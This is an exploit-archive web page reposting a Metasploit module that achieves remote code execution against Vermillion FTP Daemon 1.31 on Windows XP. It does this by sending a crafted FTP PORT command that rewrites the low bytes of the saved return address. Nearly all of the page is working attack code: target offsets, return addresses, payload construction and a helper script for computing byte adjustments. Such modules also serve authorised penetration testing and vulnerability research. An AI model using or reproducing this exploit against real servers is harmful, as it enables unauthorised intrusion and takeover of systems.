首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Vermillion FTP Daemon PORT Command Memory Corruption(meta)
来源:http://www.metasploit.com 作者:jduck 发布时间:2010-02-11  
##
# $Id: vermillion_ftpd_port.rb 8410 2010-02-08 18:53:21Z swtornio $
##


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Vermillion FTP Daemon PORT Command Memory Corruption',
			'Description'    => %q{
				This module exploits an out-of-bounds array access in the Arcane Software
				Vermillion FTP server. By sending an specially crafted FTP PORT command,
				an attacker can corrupt stack memory and execute arbitrary code.

				This particular issue is caused by processing data bound by attacker
				controlled input while writing into a 4 byte stack buffer. Unfortunately,
				the writing that occurs is not a simple byte copy.

				Processing is done using a source ptr (p) and a destination pointer (q).
				The vulnerable function walks the input string and continues while the
				source byte is non-null. If a comma is encountered, the function increments
				the the destination pointer. If an ascii digit [0-9] is encountered, the
				following occurs:

					*q = (*q * 10) + (*p - '0');

				All other input characters are ignored in this loop.

				As a consequence, an attacker must craft input such that modifications
				to the current values on the stack result in usable values. In this exploit,
				the low two bytes of the return address are adjusted to point at the
				location of a 'call edi' instruction within the binary. This was chosen
				since 'edi' points at the source buffer when the function returns.

				NOTE: This server can be installed as a service using "vftpd.exe install".
				If so, the service does not restart automatically, giving an attacker only
				one attempt.
			},
			'Author'         =>
				[
					'jduck'
				],
			'References'     =>
				[
					[ 'OSVDB', '62163' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/11293' ],
					[ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					# format string max length
					'Space'    => 1024,
					'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",
					'DisableNops'	=>  'True'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#
					# Automatic targeting via fingerprinting
					#
					[ 'Automatic Targeting', { 'auto' => true }  ],

					#
					# specific targets
					#
					[	'vftpd 1.31 - Windows XP SP3 English',
						{
							'OldRet' => 0x405a73, # not used directly
							'Ret' 	=> 0x4058e3, # not used directly
							                      # call edi in vftpd.exe (v1.31)
							'Offset' => 16,       # distance to saved return
							'Adders' => "171,48"  # adjust the bottom two bytes
						}
					]
				],
			'DisclosureDate' => 'Sep 23 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(21),
			], self.class )
	end


	def check
		connect
		disconnect
		print_status("FTP Banner: #{banner}".strip)
		if banner =~ /\(vftpd .*\)/
			return Exploit::CheckCode::Appears
		end
		return Exploit::CheckCode::Safe
	end


	def exploit

      # Use a copy of the target
		mytarget = target

		if (target['auto'])
			mytarget = nil

			print_status("Automatically detecting the target...")
			connect
			disconnect

			if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then
				print_status("FTP Banner: #{banner.strip}")
				version = m[1]
			else
				print_status("No matching target")
				return
			end

			self.targets.each do |t|
				if (t.name =~ /#{version} - /) then
					mytarget = t
					break
				end
			end

			if (not mytarget)
				print_status("No matching target")
				return
			end

			print_status("Selected Target: #{mytarget.name}")
		else
			print_status("Trying target #{mytarget.name}...")
		end


		connect

		stuff = payload.encoded
		# skip 16 bytes
		stuff << "," * mytarget['Offset']
		# now we change the return address to be what we want
		stuff << mytarget['Adders']

		if (res = send_cmd(['PORT', stuff]))
			print_status(res.strip)
		end

		disconnect
		handler

	end

end


=begin

NOTE: the following code was used to obtain the "Adders" target value.
I'm not extremely pleased with this solution, but I haven't come up with
a more elegant one...

=========================
#!/usr/bin/env ruby
#
# usage: ./find_adder.rb <old ret> <new ret>
# example: ./find_adder.rb 0x405a73 0x004058e3
#

$old_ret = ARGV.shift.to_i(16)
$new_ret = ARGV.shift.to_i(16)

oret = [$old_ret].pack('V').unpack('C*')
nret = [$new_ret].pack('V').unpack('C*')


def process_idx(oret, nret, adders, idx)
	new_val = oret[idx]
	digits = adders[idx].to_s.unpack('C*')
	digits.each { |dig|
		dig -= 0x30
		new_val = (new_val * 10) + dig
	}
	return (new_val & 0xff)
end


# brute force approach!
final_adders = [ nil, nil, nil, nil ]

adders = []
4.times { |idx|
	next if (oret[idx] == nret[idx])
	10.times { |x|
		10.times { |y|
			10.times { |z|
				adders[idx] = (x.to_s + y.to_s + z.to_s).to_i

				val = process_idx(oret, nret, adders, idx)
				if (val == nret[idx])
					final_adders[idx] = adders[idx]
				end

				break if (final_adders[idx])
			}
			break if (final_adders[idx])
		}
		break if (final_adders[idx])
	}
}


# check/print the solution
eret = []
4.times { |idx|
	eret << process_idx(oret, nret, adders, idx)
}
final = eret.pack('C*').unpack('V')[0]
if (final == $new_ret)
	puts final_adders.join(',')
	exit(0)
end

puts "unable to find a valid solution!"
exit(1)

=end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PLS PLA‏ WMDownloader (P
·This is a proof of concept exp
·LDAP Injection POC
·PLS PLA WMDownloader proof of
·Linux bin/cat /etc/passwd 43 b
·Magic_Block1_2 suffers from a
·M.J.M. Quick Player v1.2 Unico
·Microsoft Internet Explorer ve
·Ipswitch IMail Server - IMAP4
·feedDemon v3.1.0.9 opml File B
·GNOME Nautilus code execution
·WM Downloader v3.0.0.9 PLS PLA
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved